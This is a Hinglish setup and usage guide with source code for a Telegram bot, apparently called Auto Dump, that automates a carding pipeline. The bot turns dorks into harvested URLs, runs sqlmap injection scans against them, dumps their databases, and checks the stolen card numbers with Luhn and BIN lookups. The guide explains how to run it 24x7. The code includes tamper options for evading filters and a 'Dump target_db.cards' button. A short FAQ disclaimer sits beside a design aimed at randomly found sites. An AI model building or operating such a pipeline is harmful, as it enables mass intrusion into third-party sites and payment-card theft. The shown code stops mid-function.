

Auto Dump

Noob Guide

Telegram bot — dorks se URLs, SQLi scan,
dump, validate, dedupe — file in, file out.

Version 1.0 • October 2026

Zero se setup, Telegram pe usage, poora source code

Contents

1. Introduction

How to use this guide

2. Part 1 — Blueprint

What is this project? The full system at a glance

3. Part 2 — Code Map

What each file does

4. Part 3 — Setup Guide

Get the server ready, from zero

5. Part 4 — Usage Guide

How to operate the bot on Telegram

6. Part 5 — Troubleshooting

What to do when something breaks

7. FAQ

Frequently asked questions

8. Appendix A — Source Code

Complete code in copy-safe format

BEFORE YOU BEGIN

Introduction

How to use this guide — understand in 2 minutes

Blueprint + Code + Setup + Usage — from absolute zero

This guide is for the friend who has never run a server before. Everything is explained in simple language. Date: 7 Oct 2026

PART 1

Blueprint: what is this project?

Poora system ek nazar mein — kya hota hai, kis order mein

1.1 In one line

Auto Dump is a **Telegram bot**. You tap buttons on Telegram, and a full pipeline runs on the server: keywords -> dorks -> URL extraction -> SQL injection scan -> database dump -> validate -> dedupe -> final files. You receive each step's file back on Telegram.

1.2 The big pieces (architecture)

```
+-----+
| Tumhara phone      |
| (Telegram app)    |<--- sirf tum dekhte ho / button dabate ho
+-----+
| internet
+-----V-----+
| Telegram servers  |<--- beech wali duniya (cloud)
+-----+
| bot API (polling)
+-----V-----+
| Server (24x7 chalta hai) |
| +-----+ +-----+ |
| | bot.py | | modules/*.py | |
| | (dimaag) |--->| (kaam karne | |
| | +-----+ | wale haath) | |
| | +-----+ +-----+ |
| | +-----V-----+ |
| | | data/raw, data/final, | |
| | | data/dumps, logs/ | |
| | +-----+ +-----+ |
| | +-----+ |
| | | systemd service "autocc-bot" |<-- server restart pe khud start
| | | watchdog (har 15 min check) |<-- gir gaya to utha deta hai
| | +-----+ |
+-----+
```

3 things to remember:

1. The bot does NOT run on your phone — it runs on the server. Turning off your phone's internet will not stop the bot.
2. All communication happens through Telegram — you don't need the server password or anything like that.
3. Only you (the allowed chat ID) can operate the bot. Anyone else who sends a message gets "unauthorized".

1.3 The data journey (file chain)

Each stage takes one file and produces the next:

1 — Generate Keywords

What you send: base word (text)

What it does: keyword variants

What the bot sends back: keywords.txt

2 — Generate Dorks

What you send: keywords.txt

What it does: dork queries

What the bot sends back: dorks_*.txt

3 — Parse Dorks

What you send: dorks_*.txt

What it does: URLs via DDGS/Bing

What the bot sends back: urls.txt, targets.txt

4 — SQLi Scanner

What you send: targets.txt

What it does: sqlmap scan

What the bot sends back: injectable.txt

5 — DB Dump

What you send: injectable.txt

What it does: sqlmap dump

What the bot sends back: dump csv files

6 — Validate

What you send: parsed.csv

What it does: Luhn + BIN check

What the bot sends back: validated.csv

7 — Dedupe

What you send: validated.csv

What it does: removes duplicates

What the bot sends back: final.csv, bin_report.csv

8 — Output Files

What you send: final.csv

What it does: txt/csv/json

What the bot sends back: output.txt/.csv/.json

1.4 File-driven flow (the most important concept)

1. Tap the button -> the bot will say "send the file"
2. **Forward** the previous file (the same one the bot sent you)
3. The bot does the work -> sends you the new file
4. Forward that new file into the next step

The bot never picks up old files behind your back — at every step, the file goes through your hands.

PART 2

Code Map: what each file does

Har file ka kaam, ek line mein

```
autocc/
+-- bot.py          <- Telegram se baat, saare buttons, file lena/bhejna, /kill
+-- main.py         <- pipeline stages ko order mein chalata hai (CLI)
+-- config.yaml     <- saari settings (token, paths, sqlmap options) [SECRET]
+-- requirements.txt <- python libraries ki list
+-- README.md       <- chhota intro
+-- autocc-bot.service <- systemd service file (24x7 chalane ke liye)
+-- install-service.sh <- service install karne wali script
+-- modules/
|   +-- ui.py       <- reply-keyboard menus (saare buttons yahin bante hain)
|   +-- keywords.py <- keyword variants generator
|   +-- dorks.py    <- dork queries (generic/sqli/files/cms/country)
|   +-- parser.py   <- DDGS + Bing se URLs nikaalta hai
|   +-- recon.py    <- subdomain/live check (pipeline stage)
|   +-- sqli.py     <- sqlmap scan (batched, asli progress ke saath)
|   +-- dumper.py   <- sqlmap dump
|   +-- extractor.py <- dump se data nikaal ke parsed.csv banata hai
|   +-- validator.py <- Luhn + BIN validation
|   +-- deduper.py  <- duplicates hatao + BIN report
|   +-- output.py   <- final txt/csv/json likhta hai
|   +-- notifier.py <- Telegram notifications
|   +-- utils.py    <- config load, logger, shell helpers
+-- data/
|   +-- raw/        <- beech ki saari files
|   +-- dumps/      <- sqlmap dump output
|   +-- final/      <- aakhri output files
+-- logs/
|   +-- bot.log     <- sab kuch yahan likha jaata hai (debug yahin se)
+-- docs/
    +-- NOOB_GUIDE.md <- ye guide
    +-- AutoDump-Noob-Guide.pdf
```

4 fundamentals of the code

1. **Reply keyboard, no inline buttons** — all buttons appear in the keyboard below, the chat stays clean, and progress messages stand out separately.
2. **PENDING dict** — when the bot asks for a file or a word, it remembers what the incoming file is for.
3. **/kill + .kill file** — the way to stop long jobs. When you send /kill, the bot creates a file named .kill; the stage sees it, stops itself, and sends whatever is done so far.
4. **Real progress** — in parse and sqli the bar is not fake; it shows the actual count (e.g. dork 150/8000, target 150/4040).

PART 3

Setup Guide (from zero)

Server ready karo — shuru se aakhir tak

What you need

- A Linux server (Ubuntu 22.04 works fine) that runs 24x7
- Python 3.10 or newer
- A Telegram account

Step 1 — Create a bot with BotFather

1. Send /newbot to **@BotFather** on Telegram
2. Give it a name, then a username (it must end with bot, e.g. autocc_robot)
3. Copy the **token** you receive and keep it somewhere safe — treat it like a password, never show it to anyone!

Step 2 — Find your chat ID

1. Send anything to **@userinfobot** — it will reply with your numeric chat ID (e.g. 17716)
2. Put this ID in allowed_chat_ids in config.yaml — only you will be able to operate the bot

Step 3 — Get the code on the server, create the environment

bash

```
cd ~/workspace/autocc
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```

Step 4 — Install sqlmap (in a permanent location)

bash

```
cd ~/workspace
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap
mkdir -p ~/workspace/bin
printf '#!/bin/sh\nexec /home/hatch/workspace/autocc/.venv/bin/python /home/hatch/workspace/sqlmap/sqlmap.py "$@"\n' > ~/workspace/bin/sqlmap
chmod +x ~/workspace/bin/sqlmap
~/workspace/bin/sqlmap --version
```

Why this way? The server sometimes gives you a fresh machine — things under /usr get wiped, but ~/workspace survives. That's why sqlmap lives inside the workspace.

Step 5 — Fill in config.yaml

yaml

```
telegram:
  token: "YAHAN_APNA_TOKEN_PASTE_KARO"
```

```
allowed_chat_ids: [YAHAN_APNA_CHAT_ID]

sqli:
  sqlmap_bin: /home/hatch/workspace/bin/sqlmap
  level: 2      # 1 = tez/kam gehra, 3 = slow/gehra
  risk: 1
  threads: 10
```

Warning: never put the token in a public GitHub repo. If it leaks, use /revoke with BotFather and get a new token.

Step 6 — Run it like this the first time (test)

```
bash
cd ~/workspace/autocc
.venv/bin/python bot.py
```

Send /start to your bot on Telegram — you should see the menu. Press Ctrl+C to stop it.

Step 7 — Install the service (for 24x7)

```
bash
sudo bash install-service.sh
systemctl status autocc-bot.service
```

The bot will now start on its own even when the server restarts. You'll find the logs here: `logs/bot.log`

Step 8 — Watchdog (recommended)

A small scheduled check that looks every 15 minutes to see whether the bot is alive; if it has crashed, it restarts it.

PART 4

Usage Guide (how to run it on Telegram)

Telegram pe bot kaise chalte hain, step by step

Getting started

Send /start -> the buttons will appear in the keyboard below.

What each button means

Generate Keywords — choose a count (100/500/1000...) -> send a base word (e.g. shop) -> you'll get keywords.txt.

Generate Dorks — choose a category -> the bot will ask for the keywords file -> forward keywords.txt -> you'll get the dork files. *Tip: the first time, try "File Dorks" (only 149 dorks) — it's fast.*

Parse Dorks — choose an engine -> forward the dork file -> you'll get urls.txt + targets.txt. - DDGS only is fast; DDGS + Bing is slow but finds more URLs. - Thousands of dorks can take hours — the bar shows the real count (dork 150/8000).

SQLi Scanner — forward targets.txt -> sqlmap scan -> you'll get injectable.txt. - Level 1 = fast; Level 3 = deep but very slow.

DB Dump — forward injectable.txt -> you'll get the dump's CSV files.

Validate — send parsed.csv -> you'll get validated.csv (Luhn + BIN check).

Dedupe — send validated.csv -> you'll get final.csv + bin_report.csv.

Output Files — send final.csv -> you'll get output.txt / .csv / .json.

Full Auto Pipeline — the whole chain at once, from a domain, dorks, or a URL list.

Status — which files exist and how many lines they have. **Fetch Results** — get the final files again.

Help — quick help.

/kill — stopping midway

If a long job (parse/scan) is running, send /kill -> the bot stops and sends **whatever is done so far** (tagged as partial).

A complete example run

1. Generate Keywords -> 100 -> shop -> got keywords.txt
2. Generate Dorks -> SQLi Dorks -> forward keywords.txt -> got dorks_sql.txt
3. Parse -> DDGS only -> forward dorks_sql.txt -> got targets.txt
4. SQLi Scanner -> forward targets.txt -> wait -> got injectable.txt
5. DB Dump -> forward injectable.txt -> got the CSVs
6. Validate -> Dedupe -> Output -> final files

5 useful tips

1. The first time, play with small files (File Dorks, few keywords).
 2. Parse/scan take time — turning off your phone's internet does NOT stop the bot; check the updates when you're back.
 3. Each file's caption tells you what to do in the next step.
 4. If something looks wrong, check Status first, then Logs/bot.log.
 5. Never share your token with anyone.
-

PART 5

Troubleshooting (if something goes wrong)

Kuch gadbad ho to yahan dekho

Bot is not replying at all

Cause: service crashed, or the server gave you a fresh machine

Fix: ``systemctl status autocc-bot.service``; if the service is missing, run ``sudo bash install-service.sh`` again

sqlmap not found in PATH`

Cause: sqlmap not installed or wrong path

Fix: redo Setup Step 4; check ``sqlmap_bin`` in ``config.yaml``

Parse seems "stuck"

Cause: thousands of dorks = hours of work

Fix: watch the real count in the bar (``dork X/Y``); run with a small file

Scan finds nothing

Cause: 4040 targets can't be scanned in 3 minutes; hit-rate on random URLs is low anyway

Fix: let it run 30-60 min, then ``/kill``

file nahi bani: X`

Cause: stage failed

Fix: look for ERROR lines in ``logs/bot.log``

unauthorized`

Cause: your chat ID is not in the allowed list

Fix: check ``allowed_chat_ids`` in ``config.yaml``

Token invalid / bot dead

Cause: token wrong or revoked

Fix: get a new token from BotFather, put it in config, restart the service

FAQ

Aksar puche jaane wale sawaal

Q: Does the bot run on my phone? No. The bot runs on the server. Your phone is just the remote control.

Q: Is this legal? Only test sites you have permission for, or legal test sites (like Acunetix's testphp site). Scanning or dumping without permission is wrong.

Q: How much does it cost? The code is free. The only cost is the server, which depends on your provider.

Q: What happens if the server restarts? The systemd service restarts the bot by itself. Things under /etc may get wiped — so you may need to run `install-service.sh` again; the watchdog checks every 15 min.

APPENDIX A

Complete source code

Har file पूरी की पूरी — copy-paste ready

Below are all the project's main files (secrets like tokens have been removed). This section is auto-generated by a script, so it always matches the code.

COPY TIP — code bilkul copy-safe hai: monospace font, koi line number nahi, koi line wrap nahi. Select karo, copy karo, file mein paste karo — paste ke baad error nahi aayega. (Chat wali emoji PDF mein [text] bankar dikhengi — sirf dikhne ke liye hain.)

python

```
#!/usr/bin/env python3
"""autodump - reply-keyboard menus, file-driven pipeline. file in -> stage -> file out."""
import asyncio
import os
import re
import signal
import subprocess
import sys
from pathlib import Path

from telegram import Update, ReplyKeyboardRemove
from telegram.request import HTTPXRequest
from telegram.ext import (
    Application, CommandHandler, MessageHandler, filters, ContextTypes,
)

from modules.utils import load_config, setup_logger, ensure_dirs
from modules import ui

CFG = load_config("config.yaml")
LOG = setup_logger(CFG["logging"]["level"], CFG["logging"]["file"])
ensure_dirs(CFG["paths"])
ALLOWED = set(CFG["telegram"]["allowed_chat_ids"])
PENDING = {} # chat_id -> action dict
FILECACHE = {} # chat_id -> {"dorks": path}

RAW = Path(CFG["paths"]["raw"])
FINAL = Path(CFG["paths"]["final"])
DUMPS = Path(CFG["paths"]["dumps"])

MAX_SEND = 45 * 1024 * 1024 # telegram bot api file cap

# --- /kill machinery -----
KILLFILE = RAW / ".kill" # stage modules check this to stop early
RUNNING = {"kind": None, # None | "sub" (main.py) | "parse" (in-process)
           "proc": None, "stage": "", "title": "", "killed": False}

def begin_stage(kind, stage, title):
    """mark a stage as running; clear any stale kill signal."""
    KILLFILE.unlink(missing_ok=True)
    RUNNING.update(kind=kind, proc=None, stage=stage, title=title,
                  killed=False)

def finish_stage():
    """mark stage done; return True if it was /kill'ed."""
    killed = RUNNING.get("killed", False)
    RUNNING.update(kind=None, proc=None, stage="", title="", killed=False)
    return killed

def _kill_proc_group(proc):
    try:
        os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
    except Exception:
        try:
            proc.terminate()
        except Exception:
            pass
```

```

# real-progress regexes: log line -> (done, total[, extra])
SQLI_RE = re.compile(r"\[sqli\] progress (\d+)/(\d+)(?: injectables=(\d+))?"")

def ok(chat_id):
    return chat_id in ALLOWED

# — screen switcher —————
async def goto(update, screen_key: str, extra_text: str = None):
    """post a header in chat (optional) and switch reply keyboard."""
    header, kb = ui.get_screen(screen_key)
    text = extra_text or header
    await update.message.reply_text(
        text, reply_markup=kb, parse_mode="Markdown"
    )

async def post(update, text, kb=None):
    await update.message.reply_text(
        text, reply_markup=kb, parse_mode="Markdown"
    )

# — file helpers —————
async def send_file(update, path, caption=None):
    """send a file as document. returns True if sent."""
    p = Path(path)
    chat = update.effective_chat.id
    if not p.exists() or p.stat().st_size == 0:
        await update.get_bot().send_message(
            chat_id=chat, text=f"[!] file nahi bani: `{p.name}`",
            parse_mode="Markdown")
        return False
    if p.stat().st_size > MAX_SEND:
        mb = p.stat().st_size // 1024 // 1024
        await update.get_bot().send_message(
            chat_id=chat,
            text=f"[!] `{p.name}` bahut badi hai ({mb} MB) – server pe hai.",
            parse_mode="Markdown")
        return False
    with open(p, "rb") as fh:
        await update.get_bot().send_document(
            chat_id=chat, document=fh, caption=caption or p.name)
    return True

async def ask_file(update, prompt, pending, kb):
    """ask user to send/forward a file, remember what it's for."""
    PENDING[update.effective_chat.id] = pending
    await post(update, prompt, kb)

async def save_upload(update, dest: Path):
    """download the sent document to dest."""
    doc = update.message.document
    tg_file = await doc.get_file()
    dest.parent.mkdir(parents=True, exist_ok=True)
    await tg_file.download_to_drive(str(dest))
    LOG.info(f"[bot] uploaded {doc.file_name} -> {dest} "
            f"({dest.stat().st_size} B)")
    return dest

# — pipeline exec —————
def pipeline(stage, target=None, file=None):
    cmd = [sys.executable, "main.py", "--stage", stage]

```

```

if target:
    cmd += ["-t", target]
if file:
    cmd += ["-f", str(file)]
return cmd

```

```

async def run_stage_live(update, title: str, cmd: list,
                        next_screen: str = None,
                        tail_lines: int = 4,
                        stage: str = "",
                        progress_re=None):
    """
    run cmd as subprocess, post a progress message in chat,
    edit it live, then optionally switch keyboard to next_screen.
    progress_re: optional regex over log lines for REAL progress.
    returns (returncode, killed).
    """
    begin_stage("sub", stage, title)
    bot = update.get_bot()
    chat = update.effective_chat.id

    msg = await bot.send_message(
        chat_id=chat,
        text=f"*{title}*\n`{ui.bar(0)}\nstarting `{ ' '.join(cmd)}`",
        parse_mode="Markdown",
    )

    log_file = Path(CFG["logging"]["file"])
    before = log_file.stat().st_size if log_file.exists() else 0

    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE,
                            stderr=subprocess.STDOUT, text=True,
                            start_new_session=True)

    RUNNING["proc"] = proc

    pct = 0
    tail = ""
    detail = ""
    try:
        while proc.poll() is None:
            await asyncio.sleep(3)
            try:
                with open(log_file, "r") as f:
                    f.seek(before)
                    chunk = f.read()
                lines = chunk.strip().splitlines()
                if lines:
                    tail = "\n".join(lines[-tail_lines:])
                if progress_re:
                    for line in reversed(lines[-60:]):
                        m = progress_re.search(line)
                        if m:
                            done, total = int(m.group(1)), int(m.group(2))
                            pct = int(done * 100 / total) if total else 0
                            detail = f"\ntarget {done}/{total}"
                            if len(m.groups()) >= 3 and m.group(3):
                                detail += f" • injectables: {m.group(3)}"
                            break
                        else:
                            pct = min(pct + 1, 95)
                    else:
                        pct = min(pct + 7, 95)
            except Exception:
                pass
        try:
            await bot.edit_message_text(

```

```

        chat_id=chat, message_id=msg.message_id,
        text=f"*{title}*\n`{ui.bar(pct)}`{detail}\n```\n{tail}\n```,
        parse_mode="Markdown",
    )
    except Exception:
        pass
except asyncio.CancelledError:
    _kill_proc_group(proc)
    raise

rc = proc.returncode
killed = finish_stage()

if killed:
    status = "[STOP] roka gaya – jitna hua utna neeche [v]"
else:
    status = "[OK] done" if rc == 0 else f"[X] failed (rc={rc})"
await bot.edit_message_text(
    chat_id=chat, message_id=msg.message_id,
    text=f"*{title}*\n`{ui.bar(100)}`{status}\n```\n{tail}\n```,
    parse_mode="Markdown",
)

if next_screen:
    await goto(update, next_screen)
return rc, killed

# — /start —————
async def cmd_start(update, ctx):
    if not ok(update.effective_chat.id):
        return await update.message.reply_text("unauthorized.")
    await goto(update, "main")

# — /kill – roko, jitna hua utna bhejo —————
async def cmd_kill(update, ctx):
    if not ok(update.effective_chat.id):
        return await update.message.reply_text("unauthorized.")
    if not RUNNING.get("kind"):
        return await update.message.reply_text("kuch chal nahi raha :)")
    KILLFILE.touch(exist_ok=True)
    RUNNING["killed"] = True
    title = RUNNING.get("title") or RUNNING.get("stage") or "stage"
    await update.message.reply_text(
        f"[STOP] *{title}* rok raha hun...njitna hua utna bhejta hun.",
        parse_mode="Markdown")
    proc = RUNNING.get("proc")
    if proc and proc.poll() is None:
        # pehle 10s: stage khud kill file dekh ke gracefully rukega
        for _ in range(10):
            await asyncio.sleep(1)
            if proc.poll() is not None:
                break
        if proc.poll() is None:
            _kill_proc_group(proc)
            for _ in range(8):
                await asyncio.sleep(1)
                if proc.poll() is not None:
                    break
        if proc.poll() is None:
            try:
                os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
            except Exception:
                pass

```

```

# — dork jobs: label -> (method, output files) —————
DORK_JOBS = {
    "[net] Generic Dorks": ("generic", ["dorks_generic.txt"]),
    "[sql] SQLi Dorks": ("sqli", ["dorks_sql_i.txt"]),
    "[dir] File Dorks": ("files", ["dorks_files.txt"]),
    "[part] CMS Dorks": ("cms", ["dorks_cms.txt"]),
    "[web] Country Dorks": ("country", ["dorks_country.txt"]),
    "[*] ALL Dorks Pro": ("all", ["dorks_generic.txt", "dorks_sql_i.txt",
                                "dorks_files.txt", "dorks_cms.txt",
                                "dorks_country.txt"]),
}

# — text router (all reply-keyboard taps come here) —————
async def on_text(update, ctx):
    chat = update.effective_chat.id
    if not ok(chat):
        return await update.message.reply_text("unauthorized.")
    t = (update.message.text or "").strip()

    # — pending input mode —
    if chat in PENDING:
        p = PENDING[chat]
        if p.get("action") == "need_file":
            return await post(update,
                              "[file] file bhejo – document ke roop mein "
                              "(purani wali forward kar do, chalega).")
        p = PENDING.pop(chat)
        return await handle_pending(update, p, t)

    # — NAV: back —
    if t == "[<] Back":
        return await goto(update, "main")

    # — MAIN MENU —
    if t == "[key] Generate Keywords":      return await goto(update, "kw")
    if t == "[target] Generate Dorks":      return await goto(update, "dork")
    if t == "[net] Parse Dorks -> URLs":    return await goto(update, "parse")
    if t == "[sql] SQLi Scanner":           return await goto(update, "sqli")
    if t == "[box] DB Dump":                return await goto(update, "dump")
    if t == "[file] Validate":              return await goto(update, "validate")
    if t == "[clean] Dedupe":               return await goto(update, "dedupe")
    if t == "[out] Output Files":           return await goto(update, "output")
    if t == "[go] Full Auto Pipeline":      return await goto(update, "auto")
    if t == "[stats] Status":               return await show_status(update)
    if t == "[in] Fetch Results":           return await goto(update, "fetch")
    if t == "[tool] Help":                  return await goto(update, "help")

    # — KEYWORDS (text in -> file out) —
    if t in ("[key] 100", "[key] 500", "[key] 1000", "[key] 5000", "[key] 10000"):
        count = int(t.split()[1])
        PENDING[chat] = {"action": "kw", "count": count}
        return await post(update, f"[key] send base keyword (count={count})",
                          ui.KW)
    if t == "[edit] Custom Base":
        PENDING[chat] = {"action": "kw_custom"}
        return await post(update, "[edit] send `base count`", ui.KW)

    # — DORKS (file in -> files out) —
    if t in DORK_JOBS:
        return await ask_file(
            update,
            f"[file] *keywords* file bhejo\n"
            f"(keywords.txt forward kar do – phir `{t}` banenge)",
            {"action": "need_file", "for": "dorks", "kind": t},
            ui.DORK)

```

```

# — PARSE (file in -> files out) —
if t in ("[duck] DDGS only", "[*] Bing only", "[fast] DDGS + Bing"):
    engine = {"[duck] DDGS only": "ddgs",
              "[*] Bing only": "bing",
              "[fast] DDGS + Bing": "both"}[t]
    cached = FILECACHE.get(chat, {}).get("dorks")
    if cached and Path(cached).exists():
        return await do_parse(update, engine, str(cached))
    return await ask_file(
        update,
        "[file] *dork* file bhejo\n"
        "(dorks_*.txt forward kar do — phir parsing hogi)",
        {"action": "need_file", "for": "parse", "engine": engine},
        ui.PARSE)
if t == "[dir] Pick Dork File":
    return await ask_file(
        update,
        "[file] dork file bhejo — milte hi engine chunna",
        {"action": "need_file", "for": "parse_pick"},
        ui.PARSE)

# — SQLI (file in -> file out) —
if t == "[go] Scan targets.txt":
    return await ask_file(
        update,
        "[file] *targets* file bhejo\n"
        "(targets.txt forward kar do — phir sqlmap scan)",
        {"action": "need_file", "for": "sqli"},
        ui.SQLI)
if t.startswith("[setup] Level "):
    lvl = int(t.split()[2])
    CFG["sqli"]["level"] = lvl
    return await post(update, f"[setup] level = {lvl}", ui.SQLI)
if t == "[mask] Tamper: ON" or t == "[mask] Tamper: OFF":
    CFG["sqli"]["tamper"] = (" " if CFG["sqli"]["tamper"]
                             else "space2comment,between,randomcase")
    state = "ON" if CFG["sqli"]["tamper"] else "OFF"
    return await post(update, f"[mask] tamper = {state}", ui.SQLI)
if t == "[scan] UA: ON" or t == "[scan] UA: OFF":
    CFG["sqli"]["random_agent"] = not CFG["sqli"]["random_agent"]
    state = "ON" if CFG["sqli"]["random_agent"] else "OFF"
    return await post(update, f"[scan] random UA = {state}", ui.SQLI)

# — DUMP (file in -> files out) —
if t == "[box] Dump target_db.cards":
    return await ask_file(
        update,
        "[file] *injectable* file bhejo\n"
        "(injectable.txt forward kar do — phir dump hoga)",
        {"action": "need_file", "for": "dump"},
        ui.DUMP)
if t == "[list] List DBs":
    return await ask_file(
        update, "[file] *injectable* file bhejo (list DBs ke liye)",
        {"action": "need_file", "for": "dump"}, ui.DUMP)
if t == "[files] List Tables":
    return await ask_file(
        update, "[file] *injectable* file bhejo (list tables ke liye)",
        {"action": "need_file", "for": "dump"}, ui.DUMP)
if t == "[stats] Custom Table":
    PENDING[chat] = {"action": "dump_custom"}
    return await post(update, "[stats] send `db table`", ui.DUMP)

# — VALIDATE / DEDUPE / OUTPUT (file in -> file out) —
if t == "[OK] Run Validate":
    return await ask_file(
        update,

```

```

        "[file] *parsed* file bhejo\n"
        "(parsed.csv forward kar do – phir validate hoga)",
        {"action": "need_file", "for": "validate"},
        ui.VALIDATE)
    if t == "[clean] Run Dedupe":
        return await ask_file(
            update,
            "[file] *validated* file bhejo\n"
            "(validated.csv forward kar do – phir dedupe hoga)",
            {"action": "need_file", "for": "dedupe"},
            ui.DEDUPE)
    if t in ("[file] .txt", "[stats] .csv", "[bill] .json", "[box] All Formats"):
        return await ask_file(
            update,
            "[file] *final* file bhejo\n"
            "(final.csv forward kar do – phir output banega)",
            {"action": "need_file", "for": "output", "fmt": t},
            ui.OUTPUT)

# — AUTO (text flows, unchanged) —
if t == "[target] From Domain":
    PENDING[chat] = {"action": "auto_domain"}
    return await post(update, "[target] send target domain", ui.AUTO)
if t == "[net] From Dorks":
    PENDING[chat] = {"action": "auto_dorks"}
    return await post(update, "[net] send base keyword", ui.AUTO)
if t == "[link] From URL List":
    PENDING[chat] = {"action": "auto_urls"}
    return await post(update, "[link] send URLs, one per line", ui.AUTO)

# — STATUS —
if t == "[reload] Refresh":
    return await show_status(update)
if t == "[chart] Full Report":
    return await show_full_status(update)

# — FETCH —
if t in ("[file] output.txt", "[stats] output.csv", "[bill] output.json", "[box] Send All"):
    return await do_fetch(update, t)

# — HELP —
if t in ("[key] Keywords", "[target] Dorks", "[net] Parser", "[sqli] SQLi",
        "[box] Dump", "[OK] Validate", "[clean] Dedupe", "[out] Output"):
    return await post(update, HELP_TEXT[t], ui.HELP)

# — fallback —
return await goto(update, "main")

# — document handler (the file-driven core) —
async def on_doc(update, ctx):
    chat = update.effective_chat.id
    if not ok(chat):
        return await update.message.reply_text("unauthorized.")
    doc = update.message.document
    if not doc:
        return

    p = PENDING.pop(chat, None)
    if not p or p.get("action") != "need_file":
        return await post(update,
            "pehle button dabao, phir file bhejo :)", ui.MAIN)

    return await handle_file(update, p, doc)

async def handle_file(update, p, doc):

```

```

"""route an uploaded file to its stage, then send output file(s)."""
kind = p["for"]
fname = doc.file_name or "upload.txt"

if kind == "dorks":
    dest = await save_upload(update, RAW / "keywords.txt")
    await do_dorks_file(update, p["kind"], dest)
    return await goto(update, "dork")

if kind == "parse":
    dest = await save_upload(update, RAW / fname)
    FILECACHE.setdefault(update.effective_chat.id, {})[ "dorks" ] = str(dest)
    await do_parse(update, p["engine"], str(dest))
    return

if kind == "parse_pick":
    dest = await save_upload(update, RAW / fname)
    FILECACHE.setdefault(update.effective_chat.id, {})[ "dorks" ] = str(dest)
    return await post(update,
        f"[OK] `{fname}` mil gayi - ab engine chuno:", ui.PARSE)

if kind == "sqli":
    dest = await save_upload(update, RAW / "targets.txt")
    rc, killed = await run_stage_live(update, "[sqli] sqlmap scan",
        pipeline("sqli", file=dest), None,
        stage="sqli", progress_re=SQLI_RE)
    await send_sqli_results(update, killed)
    return await goto(update, "sqli")

if kind == "dump":
    dest = await save_upload(update, RAW / "injectable.txt")
    rc, killed = await run_stage_live(update, "[box] db dump",
        pipeline("dump", file=dest), None,
        stage="dump")
    await send_dump_results(update, partial=killed)
    return await goto(update, "dump")

if kind == "validate":
    dest = await save_upload(update, RAW / "parsed.csv")
    rc, killed = await run_stage_live(update, "[file] validate",
        pipeline("validate", file=dest),
        None, stage="validate")
    note = ("[STOP] roka gaya - partial validated.csv"
        if killed else
        "validated.csv [OK] - dedupe ke liye forward kar do")
    await send_file(update, RAW / "validated.csv", note)
    return await goto(update, "validate")

if kind == "dedupe":
    dest = await save_upload(update, RAW / "validated.csv")
    rc, killed = await run_stage_live(update, "[clean] dedupe",
        pipeline("dedupe", file=dest),
        None, stage="dedupe")
    pnote = " [STOP] partial" if killed else " [OK]"
    await send_file(update, RAW / "final.csv",
        f"final.csv{pnote} - output ke liye forward kar do")
    await send_file(update, RAW / "bin_report.csv",
        f"bin_report.csv{pnote}")
    return await goto(update, "dedupe")

if kind == "output":
    dest = await save_upload(update, RAW / "final.csv")
    rc, killed = await run_stage_live(update, "[out] output",
        pipeline("output", file=dest),
        None, stage="output")
    await send_output_files(update, p.get("fmt"), partial=killed)
    return await goto(update, "output")

```

```

# — stage implementations —————
async def do_dorks_file(update, label, kw_path):
    from modules.dorks import DorkGen
    kws = Path(kw_path).read_text().splitlines()
    kws = [k.strip() for k in kws if k.strip()]
    if not kws:
        return await post(update, "[!] keywords file khaali hai.", ui.DORK)
    method, files = DORK_JOBS[label]
    dg = DorkGen(CFG, LOG)
    if method == "all":
        dg.all(kws)
    elif method == "generic":
        dg.generic(kws)
    elif method == "sqli":
        dg.hq_sqli(kws)
    elif method == "files":
        dg.files()
    elif method == "cms":
        dg.cms(kws)
    elif method == "country":
        dg.country(kws)
    await post(update, f"[OK] dorks ban gaye (`{label}`) – file(s) aa rahi hain:")
    for f in files:
        await send_file(update, RAW / f,
                        f"{f} [OK] – parse ke liye forward kar do")

async def do_parse(update, engine, dork_file):
    from modules.parser import URLParser
    begin_stage("parse", "parse", f"parsing via {engine}")
    bot = update.get_bot()
    chat = update.effective_chat.id

    msg = await bot.send_message(
        chat_id=chat,
        text=f"[net] *parsing via {engine}*\\n`{ui.bar(0)}`",
        parse_mode="Markdown",
    )

    p = URLParser(CFG, LOG)

    def _run():
        urls = p.parse_dorks_file(dork_file, engine=engine)
        p.extract_param_urls(urls)
        return urls

    log_file = Path(CFG["logging"]["file"])
    prog_re = re.compile(r"\[parser\] progress (\d+)/(\d+)(?: url=(\d+))?"")
    task = asyncio.create_task(asyncio.to_thread(_run))
    pct = 0
    detail = "crawling..."
    while not task.done():
        await asyncio.sleep(5)
        try:
            tail = log_file.read_text(errors="ignore").splitlines()[-80:]
            for line in reversed(tail):
                m = prog_re.search(line)
                if m:
                    done, total = int(m.group(1)), int(m.group(2))
                    urls_n = m.group(3) or "?"
                    pct = int(done * 100 / total) if total else 0
                    detail = f"dork {done}/{total} • url: {urls_n}"
                    break
        except Exception:
            pass

```

```

    try:
        await bot.edit_message_text(
            chat_id=chat, message_id=msg.message_id,
            text=f"[net] *parsing via {engine}*\\n`{ui.bar(pct)}`\\n{detail}",
            parse_mode="Markdown",
        )
    except Exception:
        pass

urls = await task
killed = finish_stage()
tail_note = "\\n[STOP] roka gaya – partial results [v]" if killed else ""
await bot.edit_message_text(
    chat_id=chat, message_id=msg.message_id,
    text=f"[net] *parsing via {engine}*\\n`{ui.bar(100)}`\\nurls: {len(urls)}{tail_note}",
    parse_mode="Markdown",
)
await send_file(update, RAW / "urls.txt",
    "urls.txt" + (" [STOP] partial" if killed else " [OK]"))
await send_file(update, RAW / "targets.txt",
    "targets.txt" + (" [STOP] partial – sqli ke liye forward kar do"
        if killed else
        " [OK] – sqli scan ke liye forward kar do"))
return await goto(update, "parse")

async def send_dump_results(update, partial=False):
    csvs = sorted(DUMPS.rglob("*.csv"),
        key=lambda p: p.stat().st_mtime, reverse=True)[:5]
    if not csvs:
        msg = ("[STOP] roka gaya – abhi tak koi dump csv nahi bana."
            if partial else
            "[box] dump complete – data/dumps/ mein dekho (csv nahi mila).")
        return await post(update, msg, ui.DUMP)
    head = (f"[STOP] roka gaya – jitne bane ({len(csvs)} csv):"
        if partial else
        f"[box] dump complete – {len(csvs)} csv file(s):")
    await post(update, head)
    for c in csvs:
        await send_file(update, c, f"{c.name} {'[STOP] partial' if partial else '[OK]'}")

def extract_partial_injectables():
